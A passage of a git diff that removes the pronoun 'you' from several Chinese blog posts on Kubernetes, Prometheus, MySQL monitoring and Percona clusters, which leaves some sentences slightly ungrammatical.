查询、文件系统观察等。需要根据的环境和需求选择合适的服务发现机制。例如，如果的服务都注册到了一个 DNS 服务器，可以在 Prometheus 的配置文件中配置 DNS 服务发现： ```yaml scrape_configs: - job_name: 'my-service' @@ -1002,14 +1002,14 @@ scrape_configs: - names: - 'my-service.example.com' ``` -持久化存储：Prometheus 默认将数据存储在本地磁盘上，但你也可以配置 Prometheus 使用远程存储，如 S3、GCS 等。你需要在 Prometheus 的配置文件中配置远程存储： +持久化存储：Prometheus 默认将数据存储在本地磁盘上，但也可以配置 Prometheus 使用远程存储，如 S3、GCS 等。需要在 Prometheus 的配置文件中配置远程存储： ```yaml remote_write: - url: "http://my-remote-storage.example.com/write" remote_read: - url: "http://my-remote-storage.example.com/read" ``` -网络策略：你可能需要配置网络策略来限制 Prometheus 的网络访问。例如，你可以使用 Kubernetes 的 NetworkPolicy 来限制 Prometheus 只能访问特定的服务： +网络策略：可能需要配置网络策略来限制 Prometheus 的网络访问。例如，可以使用 Kubernetes 的 NetworkPolicy 来限制 Prometheus 只能访问特定的服务： ```yaml apiVersion: networking.k8s.io/v1 kind: NetworkPolicy @@ -1032,13 +1032,13 @@ spec: Kubernetes 是一个用于自动部署、扩展和管理容器化应用程序的开源平台。它的核心概念包括资源、控制器和 API 服务器。 -资源：在 Kubernetes 中，资源是一个持久化的实体，它代表了集群中的某种内容。例如，Pod 是一个资源，它代表了集群中运行的一组容器。Service 是另一个资源，它定义了如何访问 Pod。Kubernetes 提供了许多内置的资源类型，你也可以定义自己的自定义资源（Custom Resource）。 +资源：在 Kubernetes 中，资源是一个持久化的实体，它代表了集群中的某种内容。例如，Pod 是一个资源，它代表了集群中运行的一组容器。Service 是另一个资源，它定义了如何访问 Pod。Kubernetes 提供了许多内置的资源类型，也可以定义自己的自定义资源（Custom Resource）。 -控制器：在 Kubernetes 中，控制器是一个监视资源并确保其状态与预期一致的实体。例如，ReplicaSet 控制器会监视所有的 ReplicaSet 资源，如果一个 ReplicaSet 的实际 Pod 数量与预期的数量不一致，控制器就会创建或删除 Pod 以匹配预期的数量。控制器通常运行在 Kubernetes 控制平面上，但你也可以创建自己的自定义控制器。 +控制器：在 Kubernetes 中，控制器是一个监视资源并确保其状态与预期一致的实体。例如，ReplicaSet 控制器会监视所有的 ReplicaSet 资源，如果一个 ReplicaSet 的实际 Pod 数量与预期的数量不一致，控制器就会创建或删除 Pod 以匹配预期的数量。控制器通常运行在 Kubernetes 控制平面上，但也可以创建自己的自定义控制器。 -API 服务器：API 服务器是 Kubernetes 的主要接口，它提供了操作和管理集群的所有功能。当你使用 kubectl 命令或 Kubernetes 客户端库时，你实际上是在与 API 服务器进行交互。API 服务器负责处理这些请求，并更新其后端的数据存储（通常是 etcd）以反映这些更改。 +API 服务器：API 服务器是 Kubernetes 的主要接口，它提供了操作和管理集群的所有功能。当使用 kubectl 命令或 Kubernetes 客户端库时，实际上是在与 API 服务器进行交互。API 服务器负责处理这些请求，并更新其后端的数据存储（通常是 etcd）以反映这些更改。 -Kubernetes 的内部工作原理基于这些概念。当你创建、更新或删除一个资源时，你的请求会被发送到 API 服务器。API 服务器会处理你的请求，并更新其后端的数据存储。然后，相应的控制器会检测到这个更改，并采取行动以确保集群的实际状态与你的请求一致。例如，如果你创建了一个新的 ReplicaSet，ReplicaSet 控制器就会创建相应数量的 Pod。 +Kubernetes 的内部工作原理基于这些概念。当创建、更新或删除一个资源时，的请求会被发送到 API 服务器。API 服务器会处理的请求，并更新其后端的数据存储。然后，相应的控制器会检测到这个更改，并采取行动以确保集群的实际状态与的请求一致。例如，如果创建了一个新的 ReplicaSet，ReplicaSet 控制器就会创建相应数量的 Pod。 这是 Kubernetes 的基本工作原理，但实际上 Kubernetes 的功能和复杂性远超这些。例如，Kubernetes 还包括调度器（用于决定在哪个节点上运行 Pod）、kubelet（在每个节点上运行，负责启动和停止 Pod）、服务网络（用于在集群内部路由流量）等组件。 diff --git a/_posts/2023-9-28-test-markdown.md b/_posts/2023-9-28-test-markdown.md index c9631d65b963..bfe78d36119b 100644 --- a/_posts/2023-9-28-test-markdown.md +++ b/_posts/2023-9-28-test-markdown.md @@ -217,12 +217,12 @@ MASTER_DELAY=3600; MySQL本身并没有内置的熔断机制，但是我们可以通过一些外部工具或者在应用层面实现熔断机制。以下是一个基本的实现熔断机制的步骤： 1-监控MySQL性能指标：首先，我们需要对MySQL的性能指标进行监控，这些指标可能包括响应时间、错误率、CPU使用率、内存使用率等。这可以通过MySQL的性能监控工具，如Performance Schema，Information Schema，或者第三方的监控工具，如Prometheus，Zabbix等来实现。 -> 启用performance_schema 在MySQL 5.6.6及更高版本中，performance_schema默认是启用的。你可以通过查询performance_schema数据库中的表来确认它是否已经启用： +> 启用performance_schema 在MySQL 5.6.6及更高版本中，performance_schema默认是启用的。可以通过查询performance_schema数据库中的表来确认它是否已经启用： ```shell SHOW VARIABLES LIKE 'performance_schema'; ``` -> 如果结果是OFF，你需要在MySQL配置文件（通常是my.cnf或my.ini）中启用它，然后重启MySQL服务器： +> 如果结果是OFF，需要在MySQL配置文件（通常是my.cnf或my.ini）中启用它，然后重启MySQL服务器： ```ini [mysqld] @@ -230,7 +230,7 @@ performance_schema=ON ``` > 查询performance_schema中的表 -> performance_schema数据库包含许多表，你可以查询这些表来获取关于MySQL服务器性能的信息。例如，你可以查询events_statements_summary_by_digest表来获取关于每种SQL语句的性能统计信息： +> performance_schema数据库包含许多表，可以查询这些表来获取关于MySQL服务器性能的信息。例如，可以查询events_statements_summary_by_digest表来获取关于每种SQL语句的性能统计信息： ```sql SELECT * FROM performance_schema.events_statements_summary_by_digest; @@ -240,13 +240,13 @@ SELECT * FROM performance_schema.events_statements_summary_by_digest; > 使用performance_schema进行性能调优 -> 你可以使用performance_schema中的信息来进行性能调优。例如，如果你发现某个查询的平均执行时间非常长，你可以考虑优化这个查询，或者为相关的表添加索引。 +> 可以使用performance_schema中的信息来进行性能调优。例如，如果发现某个查询的平均执行时间非常长，可以考虑优化这个查询，或者为相关的表添加索引。 -> 另外，performance_schema还提供了关于表I/O，锁等待，内存使用等的详细信息，这些信息也可以帮助你进行性能调优。 +> 另外，performance_schema还提供了关于表I/O，锁等待，内存使用等的详细信息，这些信息也可以帮助进行性能调优。 -> 请注意，虽然performance_schema提供了大量的性能信息，但是它也会增加MySQL服务器的开销。因此，你应该根据你的具体需求来决定是否启用performance_schema，以及查询哪些表。 +> 请注意，虽然performance_schema提供了大量的性能信息，但是它也会增加MySQL服务器的开销。因此，应该根据的具体需求来决定是否启用performance_schema，以及查询哪些表。 -> 最后，performance_schema只是一个性能监控工具，它并不能自动进行性能调优。性能调优通常需要深入理解MySQL的工作原理，以及你的应用的特性和需求。 +> 最后，performance_schema只是一个性能监控工具，它并不能自动进行性能调优。性能调优通常需要深入理解MySQL的工作原理，以及的应用的特性和需求。 2-设置阈值：然后，我们需要设置一些阈值，当这些性能指标超过阈值时，我们认为系统可能出现问题，需要触发熔断机制。这些阈值应该根据实际的业务需求和系统能力来设置。 @@ -346,7 +346,7 @@ docker run -d -p 3308:3306 -e MYSQL_ROOT_PASSWORD=root -e CLUSTER_NAME=pxc-clust ``` > 6.这些命令会启动两个新的容器，设置MySQL的root密码为root，集群名称为pxc-cluster，XtraBackup的密码为root，并加入到pxc-node1节点的集群中。 -> 7.验证集群状态：你可以进入任何一个节点，使用mysql命令行工具查看集群的状态。使用以下命令： +> 7.验证集群状态：可以进入任何一个节点，使用mysql命令行工具查看集群的状态。使用以下命令： ```shell docker exec -it pxc-node1 mysql -uroot -proot -e "SHOW STATUS LIKE 'wsrep_%';" ``` @@ -450,4 +450,4 @@ docker run -d \ ```shell docker exec -it pxc-node1 /usr/bin/mysql -uroot -ptest1234# -e "show status like 'wsrep%';" ``` -这样，你就在Docker中运行了一个使用SSL证书的Percona XtraDB Cluster。 +这样，就在Docker中运行了一个使用SSL证书的Percona XtraDB Cluster。 diff --git a/_posts/2023-9-29-test-markdown.md b/_posts/2023-9-29-test-markdown.md index 857a590f56a7..c53588a3fd67 100644 --- a/_posts/2023-9-29-test-markdown.md +++ b/_posts/2023-9-29-test-markdown.md @@ -17,7 +17,7 @@ tags: [Kubernetes] 基于 OpenID Connect (OIDC) 或 Active Directory 的身份验证：这种方式需要在 API server 启动时，通过一系列的 --oidc-* 参数指定 OIDC 的配置信息，包括发行者 URL、客户端 ID 等。当 API server 收到请求时，会检查 HTTP 请求头中的 OIDC ID 令牌（在 Authorization 头部，值为 Bearer YOUR-TOKEN 的形式）。如果 ID 令牌是由指定的 OIDC 发行者签发的，并且令牌中的用户在 API server 的认可范围内，那么该请求就会被接受。对于 Active Directory，其工作方式类似，但需要使用 Active Directory 作为身份提供商，并可能需要额外的配置。 -> 授权（Authorization）：一旦用户或系统的身份被验证，下一步就是确定他们可以做什么，这就是授权的过程。在 Kubernetes 中，授权通常通过 Role-Based Access Control (RBAC) 来实现。你可以创建角色（Role 或 ClusterRole），这些角色定义了对一组资源（如 Pods，Services 等）的访问权限，然后通过角色绑定（RoleBinding 或 ClusterRoleBinding）将这些权限赋予一组用户。 +> 授权（Authorization）：一旦用户或系统的身份被验证，下一步就是确定他们可以做什么，这就是授权的过程。在 Kubernetes 中，授权通常通过 Role-Based Access Control (RBAC) 来实现。可以创建角色（Role 或 ClusterRole），这些角色定义了对一组资源（如 Pods，Services 等）的访问权限，然后通过角色绑定（RoleBinding 或 ClusterRoleBinding）将这些权限赋予一组用户。 > 准入控制（Admission Control）：在身份验证和授权之后，请求会进入准入控制阶段。准入控制器是一种插件，它可以在请求被持久化之前对其进行拦截。这些控制器可以修改或拒绝请求。Kubernetes 有许多内置的准入控制器，例如 NamespaceLifecycle、LimitRanger、ServiceAccount 等。 @@ -33,13 +33,13 @@ Kubernetes 支持多种身份验证策略，包括基于证书的身份验证、 对于 OIDC 和 Active Directory，Kubernetes 集群需要与这些身份提供者进行集成，以便能够验证用户的身份。这通常需要在 Kubernetes API 服务器的配置中指定一些参数。 -例如，对于 OIDC，你需要在 API 服务器的命令行参数中指定以下参数： +例如，对于 OIDC，需要在 API 服务器的命令行参数中指定以下参数： --oidc-issuer-url：指定 OIDC 提供者的 URL。 --oidc-client-id：指定 OIDC 客户端的 ID。 --oidc-username-claim：指定 JWT 令牌中表示用户名的字段。 --oidc-groups-claim：指定 JWT 令牌中表示用户组的字段。 -对于 Active Directory，你可能需要使用一个第三方的身份验证代理，如 Dex 或 Keycloak，这些代理可以与 Active Directory 进行集成，并提供一个 OIDC 接口供 Kubernetes 使用。 +对于 Active Directory，可能需要使用一个第三方的身份验证代理，如 Dex 或 Keycloak，这些代理可以与 Active Directory 进行集成，并提供一个 OIDC 接口供 Kubernetes 使用。 需要注意的是，配置这些参数需要对 OIDC 和 Active Directory 有一定的了解，以及对 Kubernetes API 服务器的配置有一定的了解。在生产环境中，这通常需要由具有相关经验的系统管理员来完成。 @@ -47,9 +47,9 @@ Kubernetes 支持多种身份验证策略，包括基于证书的身份验证、 > 身份验证（Authentication）：这是确认用户或系统的身份的过程。在 Kubernetes 中，身份验证可以通过多种方式进行，包括基于证书的身份验证、基于令牌的身份验证、基于用户名/密码的身份验证，以及基于 OpenID Connect (OIDC) 或 Active Directory 的身份验证。身份验证的目的是确认请求的来源，确保它是由一个已知和可信的实体发送的。 -> 授权（Authorization）：一旦用户或系统的身份被验证，下一步就是确定他们可以做什么，这就是授权的过程。在 Kubernetes 中，授权通常通过 Role-Based Access Control (RBAC) 来实现。RBAC 允许你基于角色来定义对 Kubernetes API 的访问权限。你可以创建角色（Role 或 ClusterRole），这些角色定义了对一组资源（如 Pods，Services 等）的访问权限，然后通过角色绑定（RoleBinding 或 ClusterRoleBinding）将这些权限赋予一组用户。 +> 授权（Authorization）：一旦用户或系统的身份被验证，下一步就是确定他们可以做什么，这就是授权的过程。在 Kubernetes 中，授权通常通过 Role-Based Access Control (RBAC) 来实现。RBAC 允许基于角色来定义对 Kubernetes API 的访问权限。可以创建角色（Role 或 ClusterRole），这些角色定义了对一组资源（如 Pods，Services 等）的访问权限，然后通过角色绑定（RoleBinding 或 ClusterRoleBinding）将这些权限赋予一组用户。 -总的来说，身份验证是确认"你是谁"，而授权（如 RBAC）是确认"你可以做什么"。 +总的来说，身份验证是确认"是谁"，而授权（如 RBAC）是确认"可以做什么"。 ## RBAC (Role-Based Access Control) 授权（Authorization） @@ -64,9 +64,9 @@ RoleBinding 和 ClusterRoleBinding：RoleBinding 是将 Role 的权限赋予一 Subjects：Subjects 可以是三种类型：User, Group 和 ServiceAccount。 -在 Kubernetes 中，你可以通过定义 Role（或 ClusterRole）来设定对一组资源的访问权限（如 Pods，Services 等），然后通过 RoleBinding（或 ClusterRoleBinding）将该权限赋予一组用户（Subjects）。 +在 Kubernetes 中，可以通过定义 Role（或 ClusterRole）来设定对一组资源的访问权限（如 Pods，Services 等），然后通过 RoleBinding（或 ClusterRoleBinding）将该权限赋予一组用户（Subjects）。 -例如，你可以创建一个 "read-pods" 的 Role，该 Role 允许用户读取 Pod 的信息。然后，你可以创建一个 RoleBinding，将 "read-pods" 角色赋予特定的用户或用户组，这样这些用户就有权限读取 Pod 的信息了。 +例如，可以创建一个 "read-pods" 的 Role，该 Role 允许用户读取 Pod 的信息。然后，可以创建一个 RoleBinding，将 "read-pods" 角色赋予特定的用户或用户组，这样这些用户就有权限读取 Pod 的信息了。 Role：Role 是一种 Kubernetes 资源，它定义了一组规则，这些规则表示了对一组资源（如 Pods，Services 等）的访问权限。这些规则可以包括允许的操作（如 GET，CREATE，DELETE 等），以及这些操作可以应用的资源类型和命名空间。 @@ -122,11 +122,11 @@ roleRef: User 和 Group 类型的 Subjects 通常是由 Kubernetes 集群的身份验证系统提供的，而 ServiceAccount 是在 Kubernetes 中定义的资源，可以通过 YAML 文件创建。 在 Kubernetes 中，"jane" 用户是一个抽象的概念，它代表一个具有某些权限的实体。这个用户的实际身份和权限是由 Kubernetes 集群的身份验证（Authentication）和授权（Authorization）系统决定的。 -> 例如，如果你的 Kubernetes 集群使用了 OpenID Connect (OIDC) 或 Active Directory 作为身份验证系统，那么 "jane" 可能就是这些系统中的一个用户。当 "jane" 试图访问 Kubernetes API 时，身份验证系统会验证她的身份，并生成一个代表她身份的 JWT token。然后，Kubernetes 的授权系统会检查这个 token，看 "jane" 是否有权限执行她想要执行的操作。 +> 例如，如果的 Kubernetes 集群使用了 OpenID Connect (OIDC) 或 Active Directory 作为身份验证系统，那么 "jane" 可能就是这些系统中的一个用户。当 "jane" 试图访问 Kubernetes API 时，身份验证系统会验证她的身份，并生成一个代表她身份的 JWT token。然后，Kubernetes 的授权系统会检查这个 token，看 "jane" 是否有权限执行她想要执行的操作。 > 在 RoleBinding 中定义的 "jane" 用户，意味着 "jane" 被赋予了该 RoleBinding 关联的 Role 的权限。这意味着，当 "jane" 试图访问 Kubernetes API 时，如果她的操作在 Role 的权限范围内，那么她的请求就会被允许。 -> 需要注意的是，"jane" 用户必须已经在身份验证系统中存在，而且必须能够被 Kubernetes 集群识别。你不能在 RoleBinding 中随意定义一个不存在的用户。 +> 需要注意的是，"jane" 用户必须已经在身份验证系统中存在，而且必须能够被 Kubernetes 集群识别。不能在 RoleBinding 中随意定义一个不存在的用户。 这种方式提供了一种灵活和精细的方式来管理 Kubernetes 集群的访问权限。 @@ -137,11 +137,11 @@ User 和 Group 类型的 Subjects 通常是由 Kubernetes 集群的身份验证 Operator 的工作原理是通过 Kubernetes 的自定义资源（Custom Resource）和自定义控制器（Custom Controller）来实现的。下面是一些关键概念： -自定义资源（Custom Resource）：自定义资源是 Kubernetes API 的扩展，它可以表示任何你想在 Kubernetes 中存储的东西。自定义资源可以是你的应用程序的配置，也可以是你的应用程序的运行状态。 +自定义资源（Custom Resource）：自定义资源是 Kubernetes API 的扩展，它可以表示任何想在 Kubernetes 中存储的东西。自定义资源可以是的应用程序的配置，也可以是的应用程序的运行状态。 -自定义控制器（Custom Controller）：自定义控制器是一个自定义的、持续运行的循环，它监视你的自定义资源的状态，并尝试使资源的当前状态与期望的状态相匹配。自定义控制器可以读取自定义资源的状态，做出相应的决策，然后更新自定义资源的状态。 +自定义控制器（Custom Controller）：自定义控制器是一个自定义的、持续运行的循环，它监视的自定义资源的状态，并尝试使资源的当前状态与期望的状态相匹配。自定义控制器可以读取自定义资源的状态，做出相应的决策，然后更新自定义资源的状态。 -Operator 就是将自定义资源和自定义控制器结合在一起，使得你可以在 Kubernetes 中自动化管理你的应用程序或服务。例如，你可以创建一个数据库的 Operator，这个 Operator 可以自动化处理数据库的备份、恢复、升级、故障转移等操作。 +Operator 就是将自定义资源和自定义控制器结合在一起，使得可以在 Kubernetes 中自动化管理的应用程序或服务。例如，可以创建一个数据库的 Operator，这个 Operator 可以自动化处理数据库的备份、恢复、升级、故障转移等操作。 总的来说，Operator 是一种将人类操作员的知识编码到软件中，以便更好地自动化管理 Kubernetes 应用程序的方式。 @@ -183,7 +183,7 @@ import ( "k8s.io/client-go/tools/cache" "k8s.io/client-go/util/workqueue" - dbv1 "your_project/db/api/v1" // 这里需要替换为你的项目和 API 的实际路径 + dbv1 "your_project/db/api/v1" // 这里需要替换为的项目和 API 的实际路径 ) type Controller struct { @@ -278,11 +278,11 @@ func main() { 在这个示例中，处理资源的方法 (syncToStdout) 只是简单地打印一条消息。在实际的控制器中，这个方法可能会创建、更新或删除其他的 Kubernetes 资源，例如 StatefulSet、Service 和 PersistentVolumeClaim。 -这个示例中省略了一些重要的部分，例如创建 Kubernetes 客户端和 Informer，处理更新和删除事件，以及错误处理。在实际的项目中，你需要根据你的需求来实现这些部分。 +这个示例中省略了一些重要的部分，例如创建 Kubernetes 客户端和 Informer，处理更新和删除事件，以及错误处理。在实际的项目中，需要根据的需求来实现这些部分。 Operator 是一种 Kubernetes 的扩展，它使用自定义资源（Custom Resource）和自定义控制器（Custom Controller）来管理应用程序和其组件。Operator 可以理解应用程序的生命周期，并根据应用程序的状态自动执行管理任务，如备份、恢复、升级、故障转移等。 -以下是一个简单的 Operator 示例，这个 Operator 用于管理 PostgreSQL 数据库。这个示例假设你已经定义了一个名为 PostgresDB 的自定义资源，并且已经编写了一个对应的控制器。 +以下是一个简单的 Operator 示例，这个 Operator 用于管理 PostgreSQL 数据库。这个示例假设已经定义了一个名为 PostgresDB 的自定义资源，并且已经编写了一个对应的控制器。 ```go package main @@ -364,7 +364,7 @@ func main() { ``` 这个 Operator 会启动一个控制器，这个控制器会监视 PostgresDB 资源的变化，并根据资源的状态来管理 PostgreSQL 数据库。例如，当一个新的 PostgresDB 资源被创建时，控制器可能会创建一个 StatefulSet 来运行数据库的副本，创建一个 Service 来提供网络访问，以及创建一个 PersistentVolumeClaim 来存储数据。 -这个示例中省略了一些重要的部分，例如创建 Kubernetes 客户端，处理更新和删除事件，以及错误处理。在实际的项目中，你需要根据你的需求来实现这些部分。 +这个示例中省略了一些重要的部分，例如创建 Kubernetes 客户端，处理更新和删除事件，以及错误处理。在实际的项目中，需要根据的需求来实现这些部分。 > 以一个简单的数据库应用为例，假设我们要在 Kubernetes 集群中运行一个 Mysql 数据库。 下面是一个编写自定义资源，以及如何编写自定义控制器的例子 @@ -409,7 +409,7 @@ apiVersion: apiextensions.k8s.io/v1：这表示我们正在使用 Kubernetes API > 在 Kubernetes 中，API 组是一种将相关的 API 资源逻辑分组的方式。例如，所有与部署（Deployments）、副本集（ReplicaSets）等相关的 API 资源都在 apps API 组中，所有与节点（Nodes）、命名空间（Namespaces）、事件（Events）等相关的 API 资源都在 core API 组中。 -> 例如，Kubernetes 的 "apps" API 组包含了与应用相关的 API 资源，如 Deployment、ReplicaSet、StatefulSet 等。当你创建、更新或查询这些资源时，你实际上是在调用 "apps" API 组中的 API。 +> 例如，Kubernetes 的 "apps" API 组包含了与应用相关的 API 资源，如 Deployment、ReplicaSet、StatefulSet 等。当创建、更新或查询这些资源时，实际上是在调用 "apps" API 组中的 API。 ```yaml apiVersion: apps/v1 @@ -432,7 +432,7 @@ spec: ``` > 在这个 Deployment 的 YAML 文件中，apiVersion: apps/v1 表示我们正在使用 "apps" API 组的 v1 版本的 API。 -> 另一个例子是 "core" API 组，它包含了 Kubernetes 的核心 API 资源，如 Pod、Service、Namespace、Event 等。当你创建、更新或查询这些资源时，你实际上是在调用 "core" API 组中的 API。 +> 另一个例子是 "core" API 组，它包含了 Kubernetes 的核心 API 资源，如 Pod、Service、Namespace、Event 等。当创建、更新或查询这些资源时，实际上是在调用 "core" API 组中的 API。 ```yaml apiVersion: v1 @@ -446,9 +446,9 @@ spec: ``` -> apiextensions.k8s.io 是 Kubernetes 提供的一个特殊的 API 组，它包含了用于创建和管理 CustomResourceDefinitions（CRDs）的 API 资源。当你创建一个 CRD 时，你实际上是在调用 apiextensions.k8s.io API 组中的 API。 +> apiextensions.k8s.io 是 Kubernetes 提供的一个特殊的 API 组，它包含了用于创建和管理 CustomResourceDefinitions（CRDs）的 API 资源。当创建一个 CRD 时，实际上是在调用 apiextensions.k8s.io API 组中的 API。 -> 所以，当我们说 "apiextensions.k8s.io 是用于创建 CRD 的 API 组"，意思就是你可以使用这个 API 组中的 API 来创建和管理你自己的 CRDs。 +> 所以，当我们说 "apiextensions.k8s.io 是用于创建 CRD 的 API 组"，意思就是可以使用这个 API 组中的 API 来创建和管理自己的 CRDs。 kind: CustomResourceDefinition：这表示我们正在创建的是一个 CRD。 diff --git a/_posts/2023-9-30-test-markdown.md b/_posts/2023-9-30-test-markdown.md index 9dad51c1d12c..a65004a98525 100644 --- a/_posts/2023-9-30-test-markdown.md +++ b/_posts/2023-9-30-test-markdown.md @@ -30,11 +30,11 @@ StatefulSet 提供的主要特性包括： 当我们创建了一个 Service，该 Service 就会得到一个 DNS 名称，如 "mysql.default.svc.cluster.local"。Pods 可以通过这个 DNS 名称找到并连接到 MySQL 服务。此外，StatefulSet 中的每个 Pod 还会得到它们自己的 DNS 主机名，如 "mysql-0.mysql.default.svc.cluster.local"，"mysql-1.mysql.default.svc.cluster.local"。这样，每个 Pod 都有一个稳定的网络标识，而其他 Pods 可以使用这个网络标识找到并连接到特定的 Pod。 -当你创建一个 Service，Kubernetes 的 DNS 服务会为这个 Service 创建一个 DNS 记录。此 DNS 名称遵循如下的格式：·`..svc.cluster.local`。其中，`` 是你创建的 Service 的名称，`` 是这个 Service 所在的命名空间名称，svc 和 cluster.local 是默认的后缀。 +当创建一个 Service，Kubernetes 的 DNS 服务会为这个 Service 创建一个 DNS 记录。此 DNS 名称遵循如下的格式：·`..svc.cluster.local`。其中，`` 是创建的 Service 的名称，`` 是这个 Service 所在的命名空间名称，svc 和 cluster.local 是默认的后缀。 Pod 可以通过使用这个 DNS 名称来访问 Service，而不需要知道服务背后具体由哪些 Pod 提供。Kubernetes 会自动将网络请求转发到这个 Service 关联的一个或多个 Pod 上。 -当你创建一个 StatefulSet 时，如果你同时为这个 StatefulSet 创建了一个同名的 Service，那么 Kubernetes 不仅会为这个 Service 创建一个 DNS 记录，还会为 StatefulSet 中的每个 Pod 创建一个 DNS 记录，这个记录的格式如下：`...svc.cluster.local`。其中，`` 是 Pod 的名称，它是基于 StatefulSet 名称和 Pod 在 StatefulSet 中的索引号生成的。 +当创建一个 StatefulSet 时，如果同时为这个 StatefulSet 创建了一个同名的 Service，那么 Kubernetes 不仅会为这个 Service 创建一个 DNS 记录，还会为 StatefulSet 中的每个 Pod 创建一个 DNS 记录，这个记录的格式如下：`...svc.cluster.local`。其中，`` 是 Pod 的名称，它是基于 StatefulSet 名称和 Pod 在 StatefulSet 中的索引号生成的。 这样，StatefulSet 中的每个 Pod 不仅有自己唯一的 DNS 名称，而且这个 DNS 名称是稳定的，不会因为 Pod 重启或被替换而改变。同时，Pod 还可以通过 Service 的 DNS 名称来访问 StatefulSet 中的其他 Pod，从而实现 Pod 间的通信。 @@ -96,13 +96,13 @@ spec: > 所以，即使不用 Service，只要知道了对方 Pod 的 IP 地址，Pod 之间也是可以进行通信的。Service（特别是 Headless Service）的主要作用是提供了一种基于 DNS 的、名字到地址的解析机制，使得 Pod 之间可以通过稳定的、易于理解的名字来进行通信，而不必关心对方的具体 IP 地址。 > 如何理解：基于 DNS 的名字到地址的解析机制？ -> 当你创建一个 Service 时，Kubernetes 控制平面会为该 Service 分配一个固定的 IP 地址，称为 Cluster IP。这个 Cluster IP 地址在整个集群的生命周期内都是不变的，无论背后的 Pods 如何更换。因此，其他的 Pods 或者节点可以通过这个 Cluster IP 来访问 Service，进而访问背后的 Pods。 +> 当创建一个 Service 时，Kubernetes 控制平面会为该 Service 分配一个固定的 IP 地址，称为 Cluster IP。这个 Cluster IP 地址在整个集群的生命周期内都是不变的，无论背后的 Pods 如何更换。因此，其他的 Pods 或者节点可以通过这个 Cluster IP 来访问 Service，进而访问背后的 Pods。 > 但是，IP 地址并不是很直观，很难记住。这就是 DNS 的作用。在 Kubernetes 中，有一个组件叫做 Kube-DNS 或者 CoreDNS，它们会监听 Kubernetes API，当有新的 Service 创建时，就会为这个 Service 生成一个 DNS 记录。这个 DNS 记录的格式通常是 `..svc.cluster.local`，它会解析到对应 Service 的 Cluster IP。这样，其他的 Pods 就可以通过这个 DNS 名称来访问 Service，而不必记住复杂的 IP 地址。 -> 让我们来看看 Headless Service。Headless Service 是没有 Cluster IP 的 Service。当你为一个 StatefulSet 创建一个 Headless Service 时，Kube-DNS 或者 CoreDNS 不会为这个 Service 生成一个解析到 Cluster IP 的 DNS 记录，而是会为 StatefulSet 中的每一个 Pod 生成一个独立的 DNS 记录。这个 DNS 记录的格式是 `...svc.cluster.local`，它会解析到对应 Pod 的 IP 地址。 +> 让我们来看看 Headless Service。Headless Service 是没有 Cluster IP 的 Service。当为一个 StatefulSet 创建一个 Headless Service 时，Kube-DNS 或者 CoreDNS 不会为这个 Service 生成一个解析到 Cluster IP 的 DNS 记录，而是会为 StatefulSet 中的每一个 Pod 生成一个独立的 DNS 记录。这个 DNS 记录的格式是 `...svc.cluster.local`，它会解析到对应 Pod 的 IP 地址。 > 这就是我说的基于 DNS 的名字到地址的解析机制。这样，StatefulSet 中的每一个 Pod 都可以通过其他 Pod 的 DNS 名称来进行通信，而不必关心对方的具体 IP 地址。例如，如果 StatefulSet 的名字是 web，Headless Service 的名字也是 web，那么第一个 Pod（名字是 web-0）可以通过 web-1.web.default.svc.cluster.local 来访问第二个 Pod（名字是 web-1）。 > 因此，StatefulSet + Headless Service 提供了一种机制，让有状态应用中的每一个实例（即 Pod）都可以拥有一个稳定的网络标识（即 DNS 名称），并且这个网络标识在 Pod 重启或者迁移时不会改变. -例如，如果你有一个 StatefulSet 叫做 web，并且为它创建了一个同名的 Headless Service，那么这个 StatefulSet 的第一个 Pod（名称为 web-0）就会拥有一个 DNS 记录 web-0.web.default.svc.cluster.local（这里假设他们在 default 命名空间），而这个 DNS 记录会解析到 Pod web-0 的 IP 地址。同样，第二个 Pod（名称为 web-1）就会拥有一个 DNS 记录 web-1.web.default.svc.cluster.local，这个 DNS 记录会解析到 Pod web-1 的 IP 地址。 +例如，如果有一个 StatefulSet 叫做 web，并且为它创建了一个同名的 Headless Service，那么这个 StatefulSet 的第一个 Pod（名称为 web-0）就会拥有一个 DNS 记录 web-0.web.default.svc.cluster.local（这里假设他们在 default 命名空间），而这个 DNS 记录会解析到 Pod web-0 的 IP 地址。同样，第二个 Pod（名称为 web-1）就会拥有一个 DNS 记录 web-1.web.default.svc.cluster.local，这个 DNS 记录会解析到 Pod web-1 的 IP 地址。 这种机制确保了，即使 Pod 重新调度或者迁移到其他节点，它的网络标识（即 DNS 记录）仍然保持不变，因为 DNS 记录是基于 Pod 的名称，而 Pod 的名称在整个生命周期内是不变的。这对于一些需要稳定网络标识的有状态应用（如数据库和分布式存储系统）来说是非常重要的。 @@ -138,12 +138,12 @@ StorageClass StorageClass是用于定义不同“类别”存储的模板。管理员可以定义一个或多个StorageClass来描述集群提供的不同类型的存储（例如，高性能、冷存储等）。用户可以在PVC中指定StorageClass，以便按需自动创建和配置PV。 -假设你想要在Kubernetes集群中为MySQL数据库提供一个10GB的持久存储空间。以下是步骤： +假设想要在Kubernetes集群中为MySQL数据库提供一个10GB的持久存储空间。以下是步骤： > 定义StorageClass：（可选） -如果你想让PVC动态创建PV，你可以先定义一个StorageClass。 +如果想让PVC动态创建PV，可以先定义一个StorageClass。 ```yaml apiVersion: storage.k8s.io/v1 @@ -159,7 +159,7 @@ parameters: > 创建PVC： -然后，你可以创建一个PVC来请求10GB的存储，并选择先前定义的StorageClass。 +然后，可以创建一个PVC来请求10GB的存储，并选择先前定义的StorageClass。 ```yaml apiVersion: v1 @@ -178,7 +178,7 @@ spec: > 使用PVC在Pod中： -一旦PVC被创建和绑定到一个PV，你可以在Pod的定义中引用它。 +一旦PVC被创建和绑定到一个PV，可以在Pod的定义中引用它。 ```yaml apiVersion: v1 @@ -244,7 +244,7 @@ spec.accessModes 描述了 PV 的访问模式，这通常取决于远程存储 在这个阶段，kubelet 会在宿主机上准备一个目录作为 Volume。然后，kubelet 作为 NFS 客户端，会把远程 NFS 服务器的某个目录（例如，“/” 目录）挂载到这个宿主机上的 Volume 目录。这样，Pod 就可以通过这个 Volume 目录来访问 NFS 服务器上的文件了。 -在 Kubernetes 中，你可以通过 PersistentVolume (PV) 和 PersistentVolumeClaim (PVC) 来使用 NFS 存储。例如，你可以创建一个 PV，指定其类型为 NFS，并提供 NFS 服务器的详细信息： +在 Kubernetes 中，可以通过 PersistentVolume (PV) 和 PersistentVolumeClaim (PVC) 来使用 NFS 存储。例如，可以创建一个 PV，指定其类型为 NFS，并提供 NFS 服务器的详细信息： ```yaml apiVersion: v1 @@ -283,7 +283,7 @@ Kubelet 插件注册机制：这是一种用于发现和注册 Kubelet 插件的 